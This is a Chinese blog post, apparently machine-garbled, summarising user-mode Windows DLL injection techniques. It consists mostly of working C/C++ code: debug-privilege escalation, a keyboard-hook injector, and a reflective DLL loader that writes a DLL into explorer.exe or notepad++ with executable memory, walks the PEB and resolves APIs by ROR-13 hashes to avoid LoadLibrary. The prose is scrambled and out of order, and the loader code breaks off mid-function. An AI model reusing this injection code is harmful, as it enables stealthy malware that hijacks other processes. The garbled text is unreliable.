比如利用远程线程、Apc等等

作者: 操作系统  发布:2019-11-05

图片 1图片 2

0x03.流入方法二 -- 设置线程上下背景文

0x02.流入方法黄金时代 -- 创立新线程

应接转发,转发请注明出处: 

  因为只是创线程所使用的函数不均等,所以下边包车型地铁代码随意放手一个创线程的步调,屏蔽其余七个,都以能够成功的,这里笔者推广的是NtCreateThreadEx。

  提到Dll的流入,立马能够想到的主意就有那个,举个例子利用远程线程、Apc等等,这里笔者对Ring3层的Dll注入学习做一个计算吧。

ZwQuerySystemInformation

// 传入参数 SE_DEBUG_NAME,提升到调试权限

BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
    TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
    DWORD             dwReturnLength = sizeof(OldPrivileges);
    HANDLE             TokenHandle = NULL;
    LUID             uID;

    // 打开权限令牌
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
    {
        if (GetLastError() != ERROR_NO_TOKEN)
        {
            return FALSE;
        }
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
        {
            return FALSE;
        }
    }

    if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))        // 通过权限名称查找uID
    {
        CloseHandle(TokenHandle);
        return FALSE;
    }

    TokenPrivileges.PrivilegeCount = 1;        // 要提升的权限个数
    TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // 动态数组,数组大小根据Count的数目
    TokenPrivileges.Privileges[0].Luid = uID;

    // 在这里我们进行调整权限
    if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
    {
        CloseHandle(TokenHandle);
        return FALSE;
    }

    // 成功了
    CloseHandle(TokenHandle);
    return TRUE;
}

图片 3图片 4

// 注入exe关键代码 给目标线程的指定消息上下钩,走进Dll导出函数
BOOL Inject(IN UINT32 ThreadId, OUT HHOOK& HookHandle)
{
    HMODULE    DllModule = LoadLibraryA(DllFullPath);
    FARPROC FunctionAddress = GetProcAddress(DllModule, "Sub_1");

    HookHandle = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)FunctionAddress, DllModule, ThreadId);
    if (HookHandle == NULL)
    {
        return FALSE;
    }
    return TRUE;
}

// 动态库中导出函数

  整个注入进度由那些步骤组成:在对象经过申请内存(可推行内部存款和储蓄器卡塔 尔(英语:State of Qatar) ---> 填充ShellCode必要的地址码 ---> 将ShellCode写入申请的内部存储器 ---> SuspendThread(挂起线程卡塔 尔(英语:State of Qatar)--->GetThreadContext(拿到线程上下背景文卡塔 尔(阿拉伯语:قطر‎---> 修正Context的Eip或Rip为ShellCode首地址 ---> SetThreadContext(设置刚更修改的Context卡塔尔国---> ResumeThread(苏醒线程推行卡塔尔。

// InjectDllByOEP.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>

using namespace std;


BOOL GrantPriviledge(WCHAR* PriviledgeName);

UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer);

UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader);

BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);

HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam);

CHAR DllFullPath[MAX_PATH] = { 0 };

int main()
{
    // 首先提权一波
    if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
    {
        printf("GrantPriviledge Errorrn");
    }

    // 接着通过进程名得到进程id
    UINT32    ProcessId = 0;

    GetCurrentDirectoryA(MAX_PATH, DllFullPath);

#ifdef _WIN64
//    GetProcessIdByProcessImageName(L"Taskmgr.exe", &ProcessId);
    GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
    strcat_s(DllFullPath, "\x64LoadRemoteDll.dll");
#else
    GetProcessIdByProcessImageName(L"notepad++.exe", &ProcessId);
    strcat_s(DllFullPath, "\x86LoadRemoteDll.dll");
#endif

    // 获得dll句柄
    HANDLE FileHandle = CreateFileA(DllFullPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (FileHandle == INVALID_HANDLE_VALUE)
    {
        printf("Open File Errorrn");
        return 0;
    }

    // 获得dll文件长度
    UINT32    FileSize = GetFileSize(FileHandle, NULL);
    if (FileSize == INVALID_FILE_SIZE || FileSize == 0)
    {
        printf("Get File Size Errorrn");
        CloseHandle(FileHandle);
        return 0;
    }

    // 申请内存,保存
    PVOID    FileData = HeapAlloc(GetProcessHeap(), 0, FileSize);
    if (FileData == NULL)
    {
        printf("HeapAlloc Errorrn");
        CloseHandle(FileHandle);
        return 0;
    }

    DWORD ReturnLength = 0;
    BOOL bOk = ReadFile(FileHandle, FileData, FileSize, &ReturnLength, NULL);
    CloseHandle(FileHandle);
    if (bOk == FALSE)
    {
        printf("ReadFile Errorrn");
        HeapFree(GetProcessHeap(), 0, FileData);
        return 0;
    }

    HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    if (ProcessHandle == NULL)
    {
        printf("OpenProcess Errorrn");
        HeapFree(GetProcessHeap(), 0, FileData);
        return 0;
    }

    // 执行Dll中的导出函数LoadDllByOEP,让目标进程实现LoadLibrary功能
    HANDLE ThreadHandle = LoadRemoteDll(ProcessHandle, FileData, FileSize, NULL);
    if (ThreadHandle == NULL)
    {
        goto _Clear;
    }

    WaitForSingleObject(ThreadHandle, INFINITE);

_Clear:

    if (FileData)
    {
        HeapFree(GetProcessHeap(), 0, FileData);
    }

    if (ProcessHandle)
    {
        CloseHandle(ProcessHandle);
    }

    return 0;
}


/************************************************************************
*  Name : LoadRemoteDll
*  Param: ProcessHandle            进程句柄    (IN)
*  Param: ModuleBaseAddress        模块基地址
*  Param: ModuleLength            模块在文件中的大小
*  Param: lParam                模块句柄
*  Ret  : HANDLE
*  将Dll以文件格式写入目标进程内存,并执行Dll的导出函数LoadDllByOEP
************************************************************************/

HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam)
{

    HANDLE    ThreadHandle = NULL;

    __try
    {
        if (ProcessHandle == NULL || ModuleFileBaseAddress == NULL || ModuleFileSize == 0)
        {
            return NULL;
        }

        // 导出函数相对于 ModuelBaseAddress 的 Offset
        UINT32    FunctionOffset = GetLoadDllByOEPOffsetInFile(ModuleFileBaseAddress);
        if (FunctionOffset == 0)
        {
            return NULL;
        }

        // 在目标进程申请内存
        PVOID    RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, ModuleFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (RemoteBufferData == NULL)
        {
            return NULL;
        }

        // 把Dll文件写入目标进程内存空间
        BOOL    bOk = WriteProcessMemory(ProcessHandle, RemoteBufferData, ModuleFileBaseAddress, ModuleFileSize, NULL);
        if (bOk == FALSE)
        {
            return NULL;
        }

        // 以文件格式去执行 Dll 中的 LoadDllByOEP
        LPTHREAD_START_ROUTINE    RemoteThreadCallBack = (LPTHREAD_START_ROUTINE)((PUINT8)RemoteBufferData + FunctionOffset);

        ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024, RemoteThreadCallBack, lParam, 0, NULL);

    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        ThreadHandle = NULL;
    }

    return ThreadHandle;
}


/************************************************************************
*  Name : LoadRemoteDll
*  Param: ProcessHandle            进程句柄
*  Ret  : HANDLE
*  获得LoadDllByOEP在Dll文件中的偏移量
************************************************************************/

UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer)
{
    UINT_PTR            BaseAddress = (UINT_PTR)DllBuffer;
    PIMAGE_DOS_HEADER    DosHeader = NULL;
    PIMAGE_NT_HEADERS    NtHeader = NULL;

    DosHeader = (PIMAGE_DOS_HEADER)BaseAddress;
    NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)BaseAddress + DosHeader->e_lfanew);

    /*
    #define IMAGE_NT_OPTIONAL_HDR32_MAGIC      0x10b
    #define IMAGE_NT_OPTIONAL_HDR64_MAGIC      0x20b
    #define IMAGE_ROM_OPTIONAL_HDR_MAGIC       0x107
    */

    if (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)    // pe32
    {
    }
    else if (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)    // pe64
    {
    }
    else
    {
        return 0;
    }

    UINT32                    ExportDirectoryRVA = NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)BaseAddress + RVAToOffset(ExportDirectoryRVA, NtHeader));

    UINT32                    AddressOfNamesRVA = ExportDirectory->AddressOfNames;
    PUINT32                    AddressOfNames = (PUINT32)((PUINT8)BaseAddress + RVAToOffset(AddressOfNamesRVA, NtHeader));

    UINT32                    AddressOfFunctionsRVA = ExportDirectory->AddressOfFunctions;
    PUINT32                    AddressOfFunctions = (PUINT32)((PUINT8)BaseAddress + RVAToOffset(AddressOfFunctionsRVA, NtHeader));

    UINT32                    AddressOfNameOrdinalsRVA = ExportDirectory->AddressOfNameOrdinals;
    PUINT16                    AddressOfNameOrdinals = (PUINT16)((PUINT8)BaseAddress + RVAToOffset(AddressOfNameOrdinalsRVA, NtHeader));

    for (UINT32 i = 0; i < ExportDirectory->NumberOfFunctions; i++)
    {
        CHAR*    ExportFunctionName = (CHAR*)((PUINT8)BaseAddress + RVAToOffset(*AddressOfNames, NtHeader));

        if (strstr(ExportFunctionName, "LoadDllByOEP") != NULL)
        {
            UINT16    ExportFunctionOrdinals = AddressOfNameOrdinals[i];

            return RVAToOffset(AddressOfFunctions[ExportFunctionOrdinals], NtHeader);
        }
    }
    return 0;
}

/************************************************************************
*  Name : RVAToOffset
*  Param: RVA                内存中偏移
*  Param: NtHeader            Nt头
*  Ret  : UINT32
*  内存中偏移转换成文件中偏移
************************************************************************/

UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader)
{
    UINT32                    i = 0;
    PIMAGE_SECTION_HEADER    SectionHeader = NULL;

    SectionHeader = IMAGE_FIRST_SECTION(NtHeader);

    if (RVA < SectionHeader[0].PointerToRawData)
    {
        return RVA;
    }

    for (i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
    {
        if (RVA >= SectionHeader[i].VirtualAddress && RVA < (SectionHeader[i].VirtualAddress + SectionHeader[i].SizeOfRawData))
        {
            return (RVA - SectionHeader[i].VirtualAddress + SectionHeader[i].PointerToRawData);
        }
    }

    return 0;
}

/************************************************************************
*  Name : GetProcessIdByProcessImageName
*  Param: wzProcessImageName        进程映像名称    (IN)
*  Param: TargetProcessId            进程Id            (OUT)
*  Ret  : BOOLEAN
*  使用ToolHelp系列函数通过进程映像名称获得进程Id
************************************************************************/

BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
{
    HANDLE            ProcessSnapshotHandle = NULL;
    PROCESSENTRY32    ProcessEntry32 = { 0 };

    ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);        // 初始化PROCESSENTRY32结构

    ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    // 给系统所有的进程快照

    if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    Process32First(ProcessSnapshotHandle, &ProcessEntry32);        // 找到第一个
    do
    {
        if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0)        // 不区分大小写
        {
            *TargetProcessId = ProcessEntry32.th32ProcessID;
            break;
        }
    } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));

    CloseHandle(ProcessSnapshotHandle);
    ProcessSnapshotHandle = NULL;
    return TRUE;
}


/************************************************************************
*  Name : GrantPriviledge
*  Param: PriviledgeName        想要提升的权限
*  Ret  : BOOLEAN
*  提升自己想要的权限
************************************************************************/

BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
    TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
    DWORD             dwReturnLength = sizeof(OldPrivileges);
    HANDLE             TokenHandle = NULL;
    LUID             uID;

    // 打开权限令牌
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
    {
        if (GetLastError() != ERROR_NO_TOKEN)
        {
            return FALSE;
        }
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
        {
            return FALSE;
        }
    }

    if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))        // 通过权限名称查找uID
    {
        CloseHandle(TokenHandle);
        return FALSE;
    }

    TokenPrivileges.PrivilegeCount = 1;        // 要提升的权限个数
    TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // 动态数组,数组大小根据Count的数目
    TokenPrivileges.Privileges[0].Luid = uID;

    // 在这里我们进行调整权限
    if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
    {
        CloseHandle(TokenHandle);
        return FALSE;
    }

    // 成功了
    CloseHandle(TokenHandle);
    return TRUE;
}

// LoadRemoteDll.h

#include <Windows.h>
#include <intrin.h>


#ifdef LOADREMOTEDLL_EXPORTS
#define LOADREMOTEDLL_API __declspec(dllexport)
#else
#define LOADREMOTEDLL_API __declspec(dllimport)
#endif


#define KERNEL32DLL_HASH                0x6A4ABC5B
#define NTDLLDLL_HASH                    0x3CFA685D

#define LOADLIBRARYA_HASH                0xEC0E4E8E
#define GETPROCADDRESS_HASH                0x7C0DFCAA
#define VIRTUALALLOC_HASH                0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH    0x534C0AB8

#define IMAGE_REL_BASED_ARM_MOV32A        5
#define IMAGE_REL_BASED_ARM_MOV32T        7

#define HASH_KEY                        13

#pragma intrinsic( _rotr )

__forceinline UINT32 ror(UINT32 d)
{
    return _rotr(d, HASH_KEY);
}

__forceinline UINT32 hash(char * c)
{
    register UINT32 h = 0;
    do
    {
        h = ror(h);
        h += *c;
    } while (*++c);

    return h;
}

//////////////////////////////////////////////////////////////////////////

typedef struct _UNICODE_STRING
{
    USHORT                    Length;
    USHORT                    MaximumLength;
    PWSTR                    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _PEB_LDR_DATA_WIN7_X64
{
    UINT32    Length;
    UINT8   Initialized;
    UINT8   _PADDING0_[0x3];
    PVOID   SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID    EntryInProgress;
    UINT8   ShutdownInProgress;
    UINT8   _PADDING1_[0x7];
    PVOID   ShutdownThreadId;
}PEB_LDR_DATA_WIN7_X64, *PPEB_LDR_DATA_WIN7_X64;


typedef struct _PEB_LDR_DATA_WINXP_X86
{
    UINT32    Length;
    UINT8   Initialized;
    UINT8   _PADDING0_[0x3];
    PVOID   SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID    EntryInProgress;
}PEB_LDR_DATA_WINXP_X86, *PPEB_LDR_DATA_WINXP_X86;



#ifdef _WIN64
#define PPEB_LDR_DATA   PPEB_LDR_DATA_WIN7_X64
#define PEB_LDR_DATA    PEB_LDR_DATA_WIN7_X64
#else   
#define PPEB_LDR_DATA   PPEB_LDR_DATA_WINXP_X86
#define PEB_LDR_DATA    PEB_LDR_DATA_WINXP_X86
#endif

typedef struct _CURDIR
{
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;


typedef struct _RTL_USER_PROCESS_PARAMETERS_WINXP_X86 {
    UINT32 MaximumLength;
    UINT32 Length;
    UINT32 Flags;
    UINT32 DebugFlags;
    HANDLE ConsoleHandle;
    UINT32 ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID   Environment;
    UINT32    StartingX;
    UINT32    StartingY;
    UINT32    CountX;
    UINT32    CountY;
    UINT32    CountCharsX;
    UINT32    CountCharsY;
    UINT32    FillAttribute;
    UINT32    WindowFlags;
    UINT32    ShowWindowFlags;
    UNICODE_STRING    WindowTitle;
    UNICODE_STRING    DesktopInfo;
    UNICODE_STRING    ShellInfo;
    UNICODE_STRING    RuntimeData;
    UINT32    CurrentDirectores[8];
}RTL_USER_PROCESS_PARAMETERS_WINXP_X86, *PRTL_USER_PROCESS_PARAMETERS_WINXP_X86;


typedef struct _RTL_USER_PROCESS_PARAMETERS_WIN7_X64 {
    UINT32 MaximumLength;
    UINT32 Length;
    UINT32 Flags;
    UINT32 DebugFlags;
    HANDLE ConsoleHandle;
    UINT32  ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID   Environment;
    UINT32    StartingX;
    UINT32    StartingY;
    UINT32    CountX;
    UINT32    CountY;
    UINT32    CountCharsX;
    UINT32    CountCharsY;
    UINT32    FillAttribute;
    UINT32    WindowFlags;
    UINT32    ShowWindowFlags;
    UNICODE_STRING    WindowTitle;
    UNICODE_STRING    DesktopInfo;
    UNICODE_STRING    ShellInfo;
    UNICODE_STRING    RuntimeData;
    UINT32    CurrentDirectores[8];
    UINT64  EnvironmentSize;
    UINT64  EnvironmentVersion;
}RTL_USER_PROCESS_PARAMETERS_WIN7_X64, *PRTL_USER_PROCESS_PARAMETERS_WIN7_X64;


#ifdef _WIN64
#define PRTL_USER_PROCESS_PARAMETERS    PRTL_USER_PROCESS_PARAMETERS_WIN7_X64
#define RTL_USER_PROCESS_PARAMETERS        RTL_USER_PROCESS_PARAMETERS_WIN7_X64
#else   
#define PRTL_USER_PROCESS_PARAMETERS    PRTL_USER_PROCESS_PARAMETERS_WINXP_X86
#define RTL_USER_PROCESS_PARAMETERS        RTL_USER_PROCESS_PARAMETERS_WINXP_X86
#endif


#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE64 60
#ifndef _WIN64
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
#endif

typedef UINT32 GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];

// PEB结构
typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union
    {
        BOOLEAN BitField;
        struct
        {
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsLegacyProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN IsPackagedProcess : 1;
            BOOLEAN IsAppContainer : 1;
            BOOLEAN SpareBits : 1;
        };
    };
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PVOID AtlThunkSListPtr;
    PVOID IFEOKey;
    union
    {
        UINT32 CrossProcessFlags;
        struct
        {
            UINT32 ProcessInJob : 1;
            UINT32 ProcessInitializing : 1;
            UINT32 ProcessUsingVEH : 1;
            UINT32 ProcessUsingVCH : 1;
            UINT32 ProcessUsingFTH : 1;
            UINT32 ReservedBits0 : 27;
        };
        UINT32 EnvironmentUpdateCount;
    };
    union
    {
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    };
    UINT32 SystemReserved[1];
    UINT32 AtlThunkSListPtr32;
    PVOID ApiSetMap;
    UINT32 TlsExpansionCounter;
    PVOID TlsBitmap;
    UINT32 TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID HotpatchInformation;
    PVOID* ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;
    UINT32 NumberOfProcessors;
    UINT32 NtGlobalFlag;
    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;
    UINT32 NumberOfHeaps;
    UINT32 MaximumNumberOfHeaps;
    PVOID* ProcessHeaps;
    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    UINT32 GdiDCAttributeList;
    PRTL_CRITICAL_SECTION LoaderLock;
    UINT32 OSMajorVersion;
    UINT32 OSMinorVersion;
    UINT16 OSBuildNumber;
    UINT16 OSCSDVersion;
    UINT32 OSPlatformId;
    UINT32 ImageSubsystem;
    UINT32 ImageSubsystemMajorVersion;
    UINT32 ImageSubsystemMinorVersion;
    UINT_PTR ImageProcessAffinityMask;
    GDI_HANDLE_BUFFER GdiHandleBuffer;
    PVOID PostProcessInitRoutine;
    PVOID TlsExpansionBitmap;
    UINT32 TlsExpansionBitmapBits[32];
    UINT32 SessionId;
    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    PVOID pShimData;
    PVOID AppCompatInfo;
    UNICODE_STRING CSDVersion;
    PVOID ActivationContextData;
    PVOID ProcessAssemblyStorageMap;
    PVOID SystemDefaultActivationContextData;
    PVOID SystemAssemblyStorageMap;
    SIZE_T MinimumStackCommit;
    PVOID* FlsCallback;
    LIST_ENTRY FlsListHead;
    PVOID FlsBitmap;
    UINT32 FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(UINT32) * 8)];
    UINT32 FlsHighIndex;
    PVOID WerRegistrationData;
    PVOID WerShipAssertPtr;
    PVOID pContextData;
    PVOID pImageHeaderHash;
    union
    {
        UINT32 TracingFlags;
        struct
        {
            UINT32 HeapTracingEnabled : 1;
            UINT32 CritSecTracingEnabled : 1;
            UINT32 LibLoaderTracingEnabled : 1;
            UINT32 SpareTracingBits : 29;
        };
    };
    UINT64 CsrServerReadOnlySharedMemoryBase;
} PEB, *PPEB;


// Ldr 三根链表结构
typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    UINT16 LoadCount;
    UINT16 TlsIndex;
    union {
        LIST_ENTRY HashLinks;
        struct {
            PVOID SectionPointer;
            UINT32 CheckSum;
        };
    };
    union {
        struct {
            UINT32 TimeDateStamp;
        };
        struct {
            PVOID LoadedImports;
        };
    };
    struct _ACTIVATION_CONTEXT * EntryPointActivationContext;

    PVOID PatchInformation;

} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;


LOADREMOTEDLL_API UINT_PTR WINAPI LoadDllByOEP(PVOID lParam);

// LoadRemoteDll.cpp

// LoadRemoteDll.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "LoadRemoteDll.h"

#pragma intrinsic(_ReturnAddress)

__declspec(noinline)
UINT_PTR caller()
{
    return (UINT_PTR)_ReturnAddress();        // #include <intrin.h>
}

typedef
HMODULE
(WINAPI * pfnLoadLibraryA)(LPCSTR lpLibFileName);

typedef
FARPROC
(WINAPI * pfnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);

typedef
LPVOID
(WINAPI * pfnVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

typedef
LONG    // NTSTATUS
(NTAPI * pfnNtFlushInstructionCache)(HANDLE ProcessHandle, PVOID BaseAddress, SIZE_T Length);

typedef
BOOL
(APIENTRY * pfnDllMain)(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved);


LOADREMOTEDLL_API UINT_PTR WINAPI LoadDllByOEP(PVOID lParam)
{

    UINT_PTR            LibraryAddress = 0;

    PIMAGE_DOS_HEADER    DosHeader = NULL;
    PIMAGE_NT_HEADERS    NtHeader = NULL;

    pfnLoadLibraryA                LoadLibraryAAddress = NULL;
    pfnGetProcAddress            GetProcAddressAddress = NULL;
    pfnVirtualAlloc                VirtualAllocAddress = NULL;
    pfnNtFlushInstructionCache    NtFlushInstructionCacheAddress = NULL;


    LibraryAddress = caller();        // 获得下一步指令的地址,其实就是为了获得当前指令地址,为后面寻找PE头提供起点
    DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;

    while (TRUE)
    {
        if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE &&
            DosHeader->e_lfanew >= sizeof(IMAGE_DOS_HEADER) &&
            DosHeader->e_lfanew < 1024)
        {
            NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew);
            if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
            {
                break;
            }
        }
        LibraryAddress--;
        DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
    }

    // 获得PEB
#ifdef _WIN64
    PPEB Peb = (PPEB)__readgsqword(0x60);
#else
    PPEB Peb = (PPEB)__readfsdword(0x30);
#endif

    PPEB_LDR_DATA Ldr = Peb->Ldr;

    // 1.从Dll导出表中获取函数地址

    for (PLIST_ENTRY TravelListEntry = (PLIST_ENTRY)Ldr->InLoadOrderModuleList.Flink;
        TravelListEntry != &Ldr->InLoadOrderModuleList;        // 空头节点
        TravelListEntry = TravelListEntry->Flink)

    {
        PLDR_DATA_TABLE_ENTRY    LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)TravelListEntry;

        UINT32    FunctionCount = 0;

        //        WCHAR*    DllName = (WCHAR*)LdrDataTableEntry->BaseDllName.Buffer;

        UINT_PTR    DllName = (UINT_PTR)LdrDataTableEntry->BaseDllName.Buffer;

        UINT32    DllLength = LdrDataTableEntry->BaseDllName.Length;

        UINT_PTR    DllBaseAddress = (UINT_PTR)LdrDataTableEntry->DllBase;

        DosHeader = (PIMAGE_DOS_HEADER)DllBaseAddress;
        NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)DllBaseAddress + DosHeader->e_lfanew);

        IMAGE_DATA_DIRECTORY    ExportDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
        PIMAGE_EXPORT_DIRECTORY    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)DllBaseAddress + ExportDataDirectory.VirtualAddress);
        PUINT32                    AddressOfFunctions = (PUINT32)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfFunctions);
        PUINT32                    AddressOfNames = (PUINT32)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfNames);
        PUINT16                    AddressOfNameOrdinals = (PUINT16)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfNameOrdinals);

        UINT16                    Ordinal = 0;
        UINT_PTR                ExportFunctionAddress = 0;

        UINT32                    HashValue = 0;

        // 将Dll名称转换成Hash值
        do
        {
            HashValue = ror((UINT32)HashValue);

            if (*((PUINT8)DllName) >= 'a')
            {
                HashValue += *((PUINT8)DllName) - 0x20;
            }
            else
            {
                HashValue += *((PUINT8)DllName);
            }
            DllName++;
        } while (--DllLength);



        if (HashValue == KERNEL32DLL_HASH)
        {
            FunctionCount = 3;

            for (INT i = 0; i < ExportDirectory->NumberOfFunctions; i++)
            {
                if (FunctionCount == 0)
                {
                    break;
                }

                CHAR* szExportFunctionName = (CHAR*)((PUINT8)DllBaseAddress + AddressOfNames[i]);

                HashValue = hash(szExportFunctionName);

                if (HashValue == LOADLIBRARYA_HASH)
                {
                    Ordinal = AddressOfNameOrdinals[i];
                    LoadLibraryAAddress = (pfnLoadLibraryA)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
                    FunctionCount--;
                }
                else if (HashValue == GETPROCADDRESS_HASH)
                {
                    Ordinal = AddressOfNameOrdinals[i];
                    GetProcAddressAddress = (pfnGetProcAddress)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
                    FunctionCount--;
                }
                else if (HashValue == VIRTUALALLOC_HASH)
                {
                    Ordinal = AddressOfNameOrdinals[i];
                    VirtualAllocAddress = (pfnVirtualAlloc)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
                    FunctionCount--;
                }
            }
        }
        else if (HashValue == NTDLLDLL_HASH)
        {
